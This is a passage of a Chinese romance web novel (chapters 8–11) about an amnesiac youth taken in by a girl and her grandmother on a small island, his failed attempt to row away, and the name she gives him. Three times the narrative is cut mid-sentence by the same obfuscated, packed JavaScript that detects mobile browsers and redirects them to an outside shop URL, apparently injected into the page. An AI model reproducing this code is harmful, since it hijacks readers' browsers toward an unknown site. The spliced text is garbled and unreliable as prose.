珍珠有点不高兴了,但她毕竟看了,这个时候要是再说些没有责任的话,就显得她太冷若冰霜了。 “好了,这么点小事也要计较,别难过了,大不了我负责总可以吧。” 颜祈抱紧枕头,面色古怪:“你要怎么负责?” 这个问题很不好回答,珍珠只能尽力安抚道:“这样吧,你想个办法爱上我。” 空气似乎凝滞了一瞬,颜祈难以接受这种思路,不可置信地看着她:“为什么是我想办法爱上你,就不能你爱上我,或者我们...” 珍珠手指竖到他的唇前,“嘘”了一声。 体贴他刚刚失忆,对这个世界的复杂程度还不了解,珍珠也不能期望他能明白的更多,拍了拍颜祈的肩以作抚慰:“好了,我工作很忙的,哪有时间和你谈情说爱。” “不过你放心,我不是那种始乱终弃的人,你爱我,我自然会对你好的。” 8. 第八章 颜祈起初还以为她是在故意说辞,直到早晨珍珠真背个小破布包跟王淑华说她去上班了,才知道她原来真的有工作。 床板很硬,颜祈躺着并不舒服,睡一觉醒来更是骨头都在胀痛,但他一上午还是只待在楼上,不敢随便乱走,他很肯定,只要自己一出这个门,王淑华会立马把他锁在门外。 他的活动范围被限制在了二楼,二楼一共就两个房间,一个他住一个珍珠住,后来才发现通往楼顶的那扇门也可以打开,推开就可以看到远处微波粼粼的大海。 蓝月岛被包裹其中,像汪洋里一粒不起眼的沙。 这里没有很高势的山,山丘还保持着夏天的盎然生机,椰树棕榈遍布了整个海岛,爬山藤、牵牛花攀附在矮灌木上,花苞都还没有闭合。 颜祈略带嫌弃地看着那些灰扑扑又矮小的房子,不知道他们往里面掺了什么东西还是就单纯因为建的太久,所以才显得如此破陋。 王家的东边有一块很大的菜地,可能比整个院子的占地面积还要多出一个天台,土地翻新,又均等的分成了各个小块,种着一堆他不认识的蔬菜。 几只母鸡在菜地里晃悠,时不时发出咯咯哒的声音,还挺有规律,前面是连音,后面哒格外响亮。 颜祈对它们印象很不好,早上天边微亮,王淑华就把它们放了出来,咯咯哒个不停。 “过几天把你们都吃了。”他怀疑王淑华是故意放出来点他的。 这话他也只是说说,颜祈能从各个方面看出来,王家并不富裕,像原始社会的厕所和浴室,单一重复的食物,都在反复验证着这个事实,那几只母鸡也许是王家唯一的财产。 王淑华跟背后有眼睛似的,在他这声落下后竟突然转过头来直直地朝楼上望去。 颜祈倏地蹲下,靠在水泥墙边生怕被她看见,他还是能看得懂别人脸色的,知道王淑华很不喜欢他,不过这不重要,他也不喜欢王淑华,过了好一会,他才偷偷探出头来,还是没能躲过去。 王淑华嗤之以鼻,发出一声冷哼。 好不容易挨到中午吃饭,珍珠终于回来了。 “他人呢?” 王淑华不冷不热地说:“楼上躺着呢。” “那我去叫他。”珍珠放下包,看了桌子一眼又摆上一副碗筷,这才上楼。 推开门,颜祈坐在床边,俨然一副等着别人来请的模样。 珍珠说:“坐着干吗,还等着我叫你呢,吃饭了,还不下去。” 早上就不吃东西,现在中午又不下去,珍珠怀疑他要这么下去,根本撑不到出岛的那一天。 “你为什么不肯跟我一起出去。”颜祈说。 他不过就是怕那些人而已,他一个人都不认识,凭什么要相信他们会把自己送往安全的地方,他不过就是想让珍珠陪他一起离开而已,又不会真的做什么,现在让他困在了这个岛上,连楼都不能下去,还要在这里不齿于人。 怪不得不吃饭,感情别人是委屈上了,珍珠有点伤脑筋,不知道他从哪学来的这套本事,还会用自己的身体来威胁人,她估摸这人就是天生的,所以失忆了也没有忘记。 她反问道:“我为什么要陪你出去?” 在颜祈的眼里,珍珠态度的转变可谓是一个天上一个地下,昨天晚上还能用手贴着他的唇说,我会对你好的。 今天就冷漠的表示,你的事情和我有什么关系。 颜祈不再看着她,眼皮耷拉了下来。 珍珠见他这幅样子,放软了音调:“好啦,医生说了,你也不一定是真的失忆,可能是烧迷糊了或者脑袋后面的伤还没好,说不定哪天就想起来了,或者岛上还有别人认识你呢,到时候你不就能自己走了。” “乖一点,不要总是动不动就生气,吃饭是为你好,你不吃到时候又生病怎么办。” 颜祈闷不作声,被她带着走到楼梯口才说:“那我下午想出去。” “你出去就出去,又没人拦你。” “……” 人又不肯走了,珍珠这会难得的明白了他的心思,估摸着是因为王淑华的原因,不过她也有正有此意,想带颜祈去冷饮店看看他能不能记起点什么,于是说:“没事的,我下午还要去上班,我带你出去。” 三人总算吃上了饭,颜祈对着满桌子没有一个他能看的上的菜,吃完了手里那碗白米饭就上楼等着珍珠带他出去。 下午一点四十,珍珠带着颜祈出发了,从门口一直回忆到冷饮店,也没有恢复半点记忆。 珍珠有点惋惜,止不住地问:“你就真的没有半点印象?” 颜祈摇摇头。 珍珠也没为难他,问他是要自己走走还是等自己下班回家,颜祈就坐在门口唯一一张小桌子前,旁边撑着一把五颜六色的彩虹大伞,遮住了烈日。 珍珠的工作算的上清闲,标准的朝九晚五,中间还有两个小时的休息时间,也没人看管,纯靠她自觉。 冷饮店今天又是无人光顾的一天,但是珍珠还是按照每天的常规工作,把工作台和冰箱收拾的干干净净,又把那些囤积的货物清点了一遍,做好统计。 颜祈望着透明玻璃上映出来的俊朗脸庞,感觉自己的记忆里好像也没有什么工作的经验,再一次推算自己可能就是大学毕业左右的年纪,他又看向珍珠,少女明艳动人的脸庞正揪着柜台上一个小黑点不肯放过,那块蓝色的抹布都快擦出火星子了。 看着挺小的,可惜了,在这个穷乡僻壤的地方这么年轻就开始出来打拼生活。 珍珠好不容易蹭掉了那个黑点,抬头正好对上他的目光,问道:“你渴了?” 她回头看了眼地上的存货,正好还有一个前几天摘的椰子没吃,洗干净放在柜台上,“开椰子会吗?” 颜祈也不知道自己会不会,但他觉得自己应该会,毕竟那个绿色的球形物体看起来很没有杀伤力。 珍珠递给他一把砍刀,让他在正上方开出一个口子出来就行,颜祈对着那把看起来就很钝的刀表示怀疑。 只一下,珍珠明白这是个不会的,一把抢过自己劈,手起刀落之间,工作台一直发出叮叮哐哐的声响。 颜祈不动声色地往后退了一步:“你每天都要这样工作?” “对啊,说了我工作很辛苦的。”珍珠不以为然,专心对付着那只椰子,还以为他问的是前面那些工作流程。 那个椰子或许皮很厚,珍珠因为使劲脸都憋红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634685|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,颜祈不知为何,竟会觉得她因刀的后坐力在掌心磨出的那一片红格外刺眼,垂下眼眸说:“我们什么时候才能回家。” “五点。” 颜祈终于对昨天那句话有了实感,她确实很忙,从中午上班以后就没有休息过。 清甜透明的椰汁被倒在了两个塑料杯里,珍珠从店里出来和他一起坐在伞荫下,一人一杯的喝着,度过了剩下的午后。 太阳落山之际,两人也到了家门口,王淑华正好做完最后一道菜,珍珠去摆碗,惊奇的发现桌上竟然有一条很大的清蒸海鱼,比中午的菜式丰富了很多,但颜祈还是只扒拉着碗里的米饭,好像那些菜很不合他的意。 珍珠问:“你怎么不吃啊?” 颜祈:“……有刺。” “……”珍珠又说:“这不是还有其他的吗?要不你吃点虾。” “有壳。” “青菜?”那是王淑华种的红薯叶,嫩绿油亮,只采了最尖端的那茬。 “不认识的东西我不吃。” 这时,对面的王淑华早就忍不住了,鼻腔里发出一声冷哼,“事多。” 珍珠也有些无奈,打圆场说:“你可以自己挑啊。” “不会。”颜祈的回答依旧言简意赅,这项技能对他而言也是陌生的。 海鱼本来就没有什么刺,干吃白米饭哪有营养,珍珠不太喜欢这些莫名其妙的少爷品性,更要顾着奶奶已经脸色发青的面子,夹起鱼腹那块肉放到他碗里,“哪来的这么多毛病,让你吃就吃。” 颜祈下巴颤了两下,拒绝还没说出口,就同时收到了桌上另外两个人的眼神警告。 也是从这天起,珍珠开始明白,这个人其实并不好养活,生活技能不行,内心脆弱,毛病事多,除了那张脸以外身无长处。 颜祈忍气吞声吃完了那碗饭,心里的想法也在悄然转变。 第二天珍珠再出门的时候,他早早起来也跟了出去,这次再问他是待在冷饮店还是自己到处走走,颜祈选择了后者。 蓝月岛就这么大,珍珠还要上班自然不可能跟着他,一个成年人还能丢了不成,只提醒了句中午之前要是不想一个人回去,就先来冷饮店找她。 颜祈没回应她,事实上,他从昨晚被逼着吃完那块鱼肉以后就开始不说话了,还不等珍珠说完,一个人就顺着那条小路走了。 他在冷饮店的不远处停了一下,回头发现珍珠还是只顾着店里,便再也没有回头。 颜祈发觉珍珠并不会一直向着他,前天喂粥不过是昙花一现的好,暂时迷惑住了他,她会拒绝他的请求,逼他吃有刺的鱼,还会对他露出不耐烦的表情。 这些事并不是失忆的颜祈可以忍受的,尽管忘记了所有,但从小娇纵长大的小少爷脾气不会消失,他需要别人让着,需要地球围着他转。 对于顺风顺水活了十九年的颜祈来说,他从来真正得到过任何磨炼,失去全部记忆,在一个陌生环境里寄人篱下,生活处处不适应,还要面对王淑华的冷言冷语,被逼着吃不喜欢的食物,这无疑是他的人生至暗时刻。 他也不相信这个岛上其他的人,颜祈打算自己离开这里,他才不要珍珠那似有若无的一点点关心。 9. 第九章 颜祈给这个计划取了一个很响亮的名字:登陆计划。 离开蓝月岛,去真正的陆地。 但他忽略了一个大问题,尽管在王家的天台可以看到蓝月岛的大部分全景,但颜祈站在路口并不能分清楚东南西北。 更不知道从方向可以离开。 蓝月岛对他而言是陌生的,从未涉领过,他还是需要找一个人了解蓝月岛。 对于信任度这件事情,颜祈始终有自己的见解,处于成年但未成熟的中间区域,他有一定的警惕性,但也会因为长大,从而理所当然的对那些自认为不具有威胁力的人多一点松懈。 老人和孩子依旧是他的首选。 但那天晚上来王家看他的人大部分都是上了年纪的老人,他见识过那些岛民的八卦威力,只怕他还没问出来,就已经被散播出去了,这使得他在找可靠的人时再次缩小了范围。 还真就让他路上碰到了一个,准确来说,是一双小手先悄无声息地扯住了他,颜祈差点吓个半死,还喘着粗气呢,见是个恬静可爱的小女孩又觉得自己运气还真是不是一般的好。 两人对视上,还没说一句话,小女孩突然把他拉到了灌木后面,“大哥哥,快蹲下。” 颜祈见她神秘兮兮的样子还真以为后面有什么可怕的东西,赶忙蹲了下来,透过枝叶间隙朝另一端看去。 不过片刻,小路上传来枝叶踩断的声音,鸟雀惊飞,颜祈被带动不由屏住了呼吸。 “江小渔,我已经看见你了,江小渔……” 先声夺人,尽管声音稚嫩,也能从语气里听出愠怒,一个小男孩从远处跑过来,嘴里还故弄玄虚的一边警告。 颜祈失笑,没想到自己竟然被一个小孩给唬住了,还没动,小女孩扯了扯他的手,摇摇头示意他别说话。 男孩停下来,接着假模假样的大喊:“江小渔,我已经不生气了,真的,你想吃多少就吃多少,我那里还有小北哥哥给我的巧克力,我都让给你。” …… 回答他的只有林梢寂静的风声。 “江小渔,我说了我看到你了,你快出来。”小男孩的忍耐性并不高,在多次出声无人应答后,声音也变得越来越暴躁,甚至开始尖叫,“江小渔,你给我出来。” “江小渔,江小渔……” 颜祈听的耳朵都疼了,不知道还以为那小姑娘真做了什么坏事,侧目看去,小女孩平静的蹲在灌木后面,面色不惊,显然对这种事情早已习以为常。 小男孩又大叫了几分钟,威胁利诱的话说了个遍,期中还踢飞了好几个掉在树下无辜的椰子,有一个甚至滚到灌木后面,见还是无人才恼火的离开。 小女孩松了口气,一屁股坐在草坪上。 颜祈跟着坐下,冲小男孩消失的方向嫌恶道:“他为什么要找你?” “因为我偷偷吃了糖。” “你拿了他的?”也不至于发这么的大脾气吧。 小女孩摇摇头:“不是,是嘉嘉哥哥不让我吃。” “他说吃糖对我的牙齿不好,但是我每天晚上都有刷牙的,而且书上说了,小朋友的牙齿以后都会换掉,就算现在坏了也没关系。” 话倒是这样说也没错,颜祈对这种小屁孩的事不感兴趣,思绪回到正道,“江小渔?” “嗯。”小女孩说:“大哥哥,我还不知道你叫什么名字?” 颜祈怎么会知道,脑海里无端飘过珍珠给他说过的那个愚蠢名字,实在难以启齿,严重损害他高大英俊的形象。 他说不出口:“你认识我?” 小女孩用力点点头,一张小脸模样乖巧:“我在珍珠姐姐家见过你,那个时候你还躺着在睡觉。” 颜祈回忆起了一点,他那天微睁着眼,看的并不真切,还一直以为那个小女孩是自己的错觉。 原来是真的,王珍珠根本就不是他醒来后看到的第一个人。 真心错付。 颜祈愤懑的同时,对小女孩的信任度又多了几分,更何况别人看起来那么听话,于是和盘托出自己的计划,总结说:“所以我现在要离开这里?” 小渔仰着头,冷静地回道:“也就是说,你觉得珍珠姐姐对你不好,所以你要离开。” “……”颜祈纠正,“不对,是所以我需要一条船。” “可你不是什么都不记得了?你出去了找谁呀?我妈妈说岛外面的人都很坏的,会把人绑起来,还会打他们。” “不知道。”颜祈抿了下唇,说出去的话死犟着面子,“反正我要离开这里。” 小渔:“那你有钱吗?” “我听见我大舅说,坐一趟船要八千,八千是多少钱,大哥哥你有吗?” 这笔金额对以前的颜祈来说无关痛痒,但对于现在的颜祈来说就是笔天文数字。 别说八千了,就算是五块他也没有。 他肩膀挫败的松下来,苦皱着一张脸:“你们岛上的人都这么坑吗?” 人善变就算了,坐船还要这么贵。 “我也不知道,是大舅和别人说话的时候我听到的,他说有傻子就爱乐意花这个钱,哥哥,你是不是没钱啊。”小渔摸了下口袋,从里面掏出个东西塞他手里,扬起一张笑脸,“我可以先借给你。” 颜祈手心一凉,“这是什么东西?” “钱啊,五毛钱。” “还有这种钱?”颜祈蹙起好看的眉头,好奇那个铜黄色的小钢板能真的买到东西吗。 小渔同情的眼神更浓了,“哥哥,你家是不是很穷啊?要不你别走了,可以跟着我阿爸去捕鱼。” 颜祈不知道怎么和她解释,他当然见过钱,只是从来没有见过这种钱。 五毛钱是什么钱,这有什么用,杯水车薪都算不上,还捕鱼呢,他是干那种事的人? 颜祈把硬币还回去,有点急躁的问:“难道就没有什么不花钱也能出去的方法?” 小渔眨巴了两下圆眼,随后嘴角弯了起来:“我知道在哪。” ...... 渡口边—— “什么意思,你叫我自己划?”颜祈咬着牙,笑容僵硬在脸上,他早该明白的,一个小孩子能真给他想出什么好办法。 “很简单的,小北哥哥他们还比赛过,划得很快的。”小渔怕他不相信,指着船上黑木桨比划道:“就先这样,左边划一下,右边划一下,就可以了。” 那应该是艘没人的要的小木船,被太阳晒的花白,已经看不出原来的颜色,就用了根粗麻绳拴着,里面落满了枯叶,随着波浪在渡口边轻晃。 颜祈很不想碰那艘脏兮兮的破船,但是来都来了,现在出岛的工具就在眼前,是忍一忍海阔天空,还是退一步回王家继续忍受白眼,答案显而易见。 今天这趟远航他走定了。 光是下定决心到清理干净那艘船上的落叶,颜祈就花了将近一个小时,憋着气好不容易登上了船,心道,这破地方他死也不会再回来。 “再见,小渔。” 小渔站在鹅卵石上,也挥挥手:“哥哥,再见。” 颜祈的第一次离岛计划大概持续了多久呢,也许两分钟都没有,他和小渔说了再见,自以为信心满满的出发,整个人却只能在船上晃荡。 偏偏江小渔那个小姑娘还很相信他,在岸边也不走,握着两个拳头在半空中给他打气。 颜祈上演了此生最荒谬的默片表演,明明都是按照小渔说的去做,但他的船就像是受到了什么诅咒一样困在原地打转,才一小会,胳膊就酸的不行,差点没吐出来。 在船上待的时间越久,颜祈的心也越慌,他发现看似简单的机械动作,自己却掌握不了要领,海浪的推波不仅没有让他离蓝月岛越来越远,反而离小渔的距离越来越近。 小渔的助威声还吸引了新的观众,她口里的嘉嘉哥哥在跑遍了半个蓝月岛之后终于找到了她,小男孩站在她旁边双手架着,跟个小大人似的,语气不善地评价:“蠢死了,划船也不会。” 颜祈气的举起桨,“有本事你来。” “我才不过去,大人说了,小孩子不能离水太近,江小渔,你给我往后退一点。”男孩舔了下唇不慌不乱的扯着江小渔往后退了几步,在看清颜祈那张陌生的脸后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634686|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,提起戒备:“你是谁,我怎么没有见过你,我要告诉岛长伯伯,有人偷偷上岛,让他把你抓起来。” “然后绑在神树上,用鞭子抽你。” 死熊孩子,这种丢脸的时刻竟然还想着叫着别人过来围观他。 可能是急中生变,也可能是颜祈太害怕真的在众人面前丢脸,在这句话说完后,他竟然划出去了一小段。小渔这时候也在岸上解释道:“他不是陌生人,他是躺在珍珠姐姐家的那个哥哥。” “什么哥哥,王小渔你连他什么名字都不知道,就跟这个蠢东西玩在一起,能不能长点脑子,见到人就叫哥哥,他是你哥哥吗?” 男孩似乎很在意这点,像是要捍卫住自己的绝对主权,双手握住她的肩膀讲:“我才是你哥哥。” 颜祈额角的青筋突跳,恨不得现在冲上去把他暴揍一顿,手上的动作越来越快。 小渔被晃了两下,看见颜祈明明是面向他们的,却和岸边的距离拉开的越来越远,忘记了还要和谢嘉吵架,兴高采烈地蹦跳道:“大哥哥成功了。” 颜祈终于在这一场混乱中掌握要领,一时分不清他是更想上岸收拾那小子一顿,还是接着往后划。 他介于一种不幸和侥幸之间,侥幸的是即使他之前从未划过船却能在短时间之内真的获得要领,并且达到一定明显的成果,不幸的是,他不会调转方向,甚至倒着划水比正着划水发速度要慢上两倍。 他扭头看了眼汪洋大海,一望无际的蓝,远处仿若和天空连接在了一起,分辨不出海平线,颜祈一瞬间突然觉得自己在这个偌大的水上世界是如此的渺小。 茫茫大海,晃荡的水面终于让冲动行事的颜祈心里升起一丝恐惧,并且拉回了一点理智,这里离陆地有多远?他是否可以坚持,迷路了怎么办?海里面有没有怪物?这附近不会有鲨鱼吧。 颜祈顿感王淑华做的饭也没有那么难吃,昨晚那块鱼肉其实也只有两根刺而已,他也不是不能发现,他这几天吃的又是那样少,脑袋后面的伤还没有好,力气一下子就耗完了,手还被磨破,激起的海水沾到手上,刺的他生疼。 他好像准备的一点也不充分,起码要吃顿饱饭吧,再准备一身防晒衣和专业的划船手套。 就这样反复纠结里,颜祈被一个大浪往前一推掀翻在海里,掉入水里时他听到小渔的惊呼,咕噜噜的咸涩的海水将他从四面八方裹挟住,他手脚下意识地在海里胡乱挥舞,慌乱中抓到了那根嫌弃已久的黑木浆,如同救星般拖着他浮出了水面。 渡口附近没有人家,跑去叫人根本来不及,最后还是两个小孩抓住被海水推上岸的麻绳往回拉,颜祈在慌乱过后抓着船回到了渡口。 “没见过这么蠢的。”谢嘉气喘吁吁地坐在沙滩上,即使才八九岁的年纪,明明也被吓了一跳,还不忘学着大人那样,故作成熟地事后指责。 颜祈心绪不稳的躺在一旁,任凭细腻的白砂粘在身上,眼前还是一片眩晕,根本没有工夫回他。 这倒不是他不会游泳,只是事情发展的太快,他一下子也没反应过来,更何况前面划船就已经耗费了他大半力气。 于是面对谢嘉的斥责他也没有立即回口,心中对刚才发生的事情仍有余悸,生死存亡就在一息之间,涛涛海声那样轻柔舒缓,实则只要真的去了海上,就能感受到那种不可控制的惶然。 陆地有多平缓踏实,海洋就有多险峻危险。 谢嘉拉着江小渔的手站起来,冷着脸说:“江小渔,还不快回家。” 小渔担忧看着颜祈,还是一步三回头的离开了。 颜祈不知道自己躺了多久,夏末的海风仍然温暖,被海水浸湿的头发很快扬了起来,蔚蓝的天空也终于变得明朗。 良久,他从沙滩上起来,神情恍惚地往回走。 冷饮店中午休息早就关门了,他在那里不知道看什么站了会,然后低着头往山坡上走去。 还没两步,对面传来仓促的脚步声,一只温热的手突然抓住他的手腕,颜祈愣愣抬起头,而后漂亮的眉头皱成一个委屈的弧度。 “王珍珠,你怎么不等我。” 10. 第十章 珍珠一听也来火,早就告诉了他回家吃饭的时间,自己不回去要在外面乱晃,她还没说呢,反被倒打一耙,可是想诘责的话就在嘴边,掌心砂砾的粗糙感又让她把话咽了下去。 珍珠不知道短短的一个上午,颜祈就已经经历了从离家出走到泄气归来的全部过程。 只觉得他这副样子比那天暴雨过后躺在门口实在强不了多少,早上出门时还干净的衣服,这会皱巴巴的,身上还全是白色的沙子,珍珠伸手拿下他头上的枯叶,打量过后发现他掌心也破了,手背上还有一些细小的划痕,明明是夏天,体温却偏凉。 “迷路了?” 夏日夺目的阳光照亮颜祈微微发红的眼眶,珍珠见不得别人这样,帮他拍了拍身上的沙,又说:“好了,我又没真的怪你,是不是不小心摔倒了,手疼是不是。” “吹一吹就好了。”她对着伤口轻呼了两下,“不疼了,不疼了,痛痛飞走。” 颜祈霎时间脸变的通红,垂眸看着抓着自己手腕的珍珠,也不知道她是真在安慰人还是把他当小孩子一样哄,才会说出这么幼稚的话。 颜祈又回到了王家,砂砾微小,清理起来格外麻烦,他被珍珠在掌心贴了两个防水的创口贴,就推进了浴室。 王淑华隔了许久才回来,闻见院子里煎鸡蛋的香气匆匆往厨房里赶。 珍珠正在给海蛎煎鸡蛋翻面,抬头道:“奶奶,你出去了?” 以往这个点都是王淑华雷打不动的午睡时间,再加上房门紧闭,她还一直以为王淑华在家。 王淑华避开她的视线,“我是出去找你李婶子的,她说要给我点菜种。” “什么菜种?” “……小姑娘说了你也不知道。” 珍珠哦了声,把锅里的菜盛了出来,王淑华没有什么好脸色,“那小子回来了?” “嗯,在洗澡呢,不知道怎么了,身上脏兮兮的。” “麻烦精,吃饭了也不知道自己回来,还要别人出去找他。”王淑华热的拿起一旁的蒲扇,坐在板凳上,“那些鸡一天才下几个蛋,你拿给他吃?那都是我留给你补身子的。” 天气热,其他的菜本来也不用热,珍珠知道她也是心疼自己,边清理灶台边劝抚道:“好啦,下次不给他吃这些,你天天给他做鱼,让他去挑刺。” “你以为那鱼容易得,我还天天给他做着吃,爱吃不吃,不吃滚。” 王淑华年轻的时候就是个急性子暴脾气,为此没少跟周围的人拌口角,只是后来很长一段时间她都过的恍恍惚惚,脾气也随着年龄逐渐变的柔和。 珍珠笑道:“你不是说喜欢送上门来的?他不就自己送上门来的。” 饶是王淑华再不喜欢颜祈,也没有办法对着颜祈那张脸说出什么破烂货色的话,虽然事多麻烦了点,可到底是个看着没多大的年轻孩子,看那样子也知道以前在家受尽了宠爱,要不然也不至于如此不识时务,人在屋檐下,还改不了挑三拣四的毛病。 王淑华嘟哝道:“连个名字都没有,到时候等你阿财叔他们回来还不是要走。” “走就走呗。” 王淑华有点诧异,看着孙女好似不开窍的样子难以理解:“那你把他留在家里做什么?还说他是送上门来的。” 珍珠想了想:“大概是觉得他可怜吧。” 和她一样什么都不记得了,流落在一个陌生的地方,更何况现在岛上只有她见过他没失忆前的样子,她醒后尚且还有王淑华的庇佑,把她当作亲孙女一样疼爱,可他又什么都没有。 王淑华沉默片刻,长叹一口气,“罢了,你想怎么做就怎么做吧,我老了,管不住你们年轻人的想法。” 珍珠贴过去撒娇,把盘子端到奶奶面前,说笑道:“要不你也吃点,这样就不会全便宜他了。” 王淑华把盘子推远,“算了,我才不吃那臭小子的东西。” 她起身朝外走去,在门口处脚步突然一滞,情绪激动到险些没稳住身形,一手抓在门框上。 “奶奶,怎么了?”珍珠连忙扶住,一看,“洗完了。” 颜祈点点头,被发现偷听还有点心虚,手指无意识的捏了下衣摆。 王淑华回过神来,“杵在这里是想吓死谁,还不让开。” 颜祈撇了撇嘴,心道这里明明很宽敞,但还是立马侧着身子给王淑华让路。 王淑华轻哼了声,蹒跚地回到房间没再出来。 颜祈不安的扯了扯自己衣服的领口,不知道王淑华对他哪来了意见。 他身上穿着件很有年代感的蓝色polo衫,是珍珠随便在衣柜里帮他拿的,本来是很上年纪的穿搭,却被他完成的格外出彩,只是略微有点大。 “吃饭吧。”珍珠把菜都端到桌子上,菜都没有动,显然是还没吃就出去找他了。 “我给你炒了鸡蛋,没壳没刺,这下可以直接吃了吧。” 珍珠见他视线往王淑华的房间瞟了一眼又说:“没事的,奶奶中午要午睡,她醒来后会自己吃。” 颜祈垂下眼睑,夹过眼前被煎的金灿灿的鸡蛋,早就饿的不行。 珍珠吃的并不多,很快放下碗筷,伸手从盘子里拿过一只大虾仔细剥着。 “你之前跟我说过你是附近小渔村的,不过这附近小渔村太多了,我也都没有去过,不知道你究竟是哪一家的。” 附近靠海聚成群落的地方都可以叫作小渔村,靠海为家,衣食住行也靠海洋的恩赐,海洋将渔民们联结在一起,不拘泥于什么海岛和陆地之分,无非就是人多人少的区别,蓝月岛充其量也就是个百来人的落后小渔村。 海砂、枯叶、衣领口析出的盐渍,还有手心里破掉的水泡,珍珠回来的路上就已经猜到了发生过什么,她没有拆穿,只说:“上次是我没记起来,不过我已经拜托岛长先去附近的海岛打听了,应该很快就能得到消息。” 陆地,颜祈今天试过也应该知道,在海上根本看不见陆地。 更何况现在还是开渔期,大家就靠着这段时间抓紧出海,为明年一家人讨得生计,让别人划着一叶孤舟涉海特意为一个陌生人去奔走,这要求实在苛刻。 那日岛长的提议,其实就已经是颜祈最后的机会。 珍珠又说:“你不用害怕,岛上的人都很好的,他们不会伤害你,只是觉得前几天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634687|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一次见你有点好奇,你不用把那些话放在心上。” 她把剥好的大虾放在颜祈面前的盘子里,“吃吧,现在没有壳了。” 颜祈盯着那只大虾半晌没说话,有点烦闷地喝完手边的水,一点也不甜。 是什么时候,她已经发现了,又找岛长打听了那些事。 她收留他只是因为觉得他可怜,所以才随便他爱走不走。 珍珠也没有管他吃不吃,只是又剥了几只放在那里,而后去洗了手,背上自己的小布包。 颜祈立马把碗放在桌上,“这么快,你不是也要午睡吗?”她回来才多久怎么又要去上班。 “不睡了。”珍珠对着时钟抬了下下巴,黄色的大圆钟已经走到一点四十,“你手不是破了吗?在家休息吧,要是想出去走走别离开太远了,免得等下又找不到路。” 她补充道:“不用担心奶奶,她会给你开门的。” 颜祈声音有些闷:“我想和你一起去。” “你饭都没吃完。” “不吃了。” 这也太浪费粮食了,珍珠走回去又坐在桌子前,“快点吃,我等你。” 这是颜祈上岛后吃的最饱的一顿饭,也许是因为最后吃的太急了,又或者是珍珠给他剥的那几只新鲜的海虾出乎意料的清甜,把他胃里为数不多的空余位置也给占满了。 那天下午,他和珍珠去冷饮店的路上走的很快,没有迟到。 他没有再离开,而是很安静的坐在门口那张桌子旁,冰镇过后的椰子水很好喝,中午的海蛎炒蛋也很好吃,颜祈觉得他其实也并没有很讨厌这个海岛。 海边的夕阳很美,暮色漪柔,他收回视线看到了在一旁发呆的珍珠。 不就是多待几天吗,他也不是非要自讨苦吃,等那些人回来不就有船可以离开了,说不定还有人认识他。 “王珍珠。” “?” “我还没名字,你给我取一个。” 珍珠倚在椅子上,并不是很想动脑子,“你自己给自己取一个呗。” “不要,你给我取一个。” 珍珠:“……” 颜祈死盯着她,提前警告:“你要是再敢故意给我取那种名字,我不会放过你的。” 还不放过她呢,珍珠都懒得说他,也不看看谁才是蓝月岛那个外来的,“太阳,怎么样。” “……” “不喜欢,那椰子?可乐?星星?月亮?” 颜祈说:“你能不能认真一点。” 清风吹动桌上的进货单,珍珠伸手摁住,过了两秒突然说:“平南,那你叫平南,这样总可以吧。” 颜祈心里其实也没有很满意,但是对比前面那些类物随口取的名字,这个已经算花心思了,再让她想想会不会有点为难,毕竟他要一个一直生活在海岛上的女孩想一个脱俗高雅、很有深意的名字也有点不现实。 珍珠一副你爱用不用的表情,回到店里关门。 她锁好门走在前面,橘红色的夕阳染红了山坡上的青草,珍珠回头见他还傻坐着,忍不住大喊:“快点回家啦。” “平南。” 11. 第十一章 平南用了一晚上的时间,终于完全接受自己这个名字。 这也是没有办法的事,尽管王淑华对他的称呼依旧是‘哼’,但他觉得自己有义务要把这个名字宣扬出去,要不然大家看到他还总称呼为‘珍珠捡的那个’,搞的他听多了,还真以为自己是什么王珍珠的私有物品。 可能是落水的一刹那让他如梦初醒,又或者是几天的时间终于让他没有再那么不适应蓝月岛的生活,这一晚上平南躺在毫无舒适感的木床板上,也终于想起了一件他一直忽略的重要事情。 他为什么会晕倒在王家门口。 是谁,害的他? 那个人是在岛上,还是随着渔船出海了? 关于捡到他的经过,珍珠也没有隐瞒,统统告诉过他。 在半夜突然醒悟这件事情让平南顿感毛骨悚然,不知道自己失忆前是否真的和谁发生过不可调解的矛盾,才会要害他至此,要在一个雷电交加的下雨天无情的将他推下山坡,还能刚好洗刷掉关于那人的全部踪迹。 是蓄谋已久,还是突然袭击,但这些猜测无疑都在透露一个信息告诉平南,那个人是一个很有心机和谋划的人。 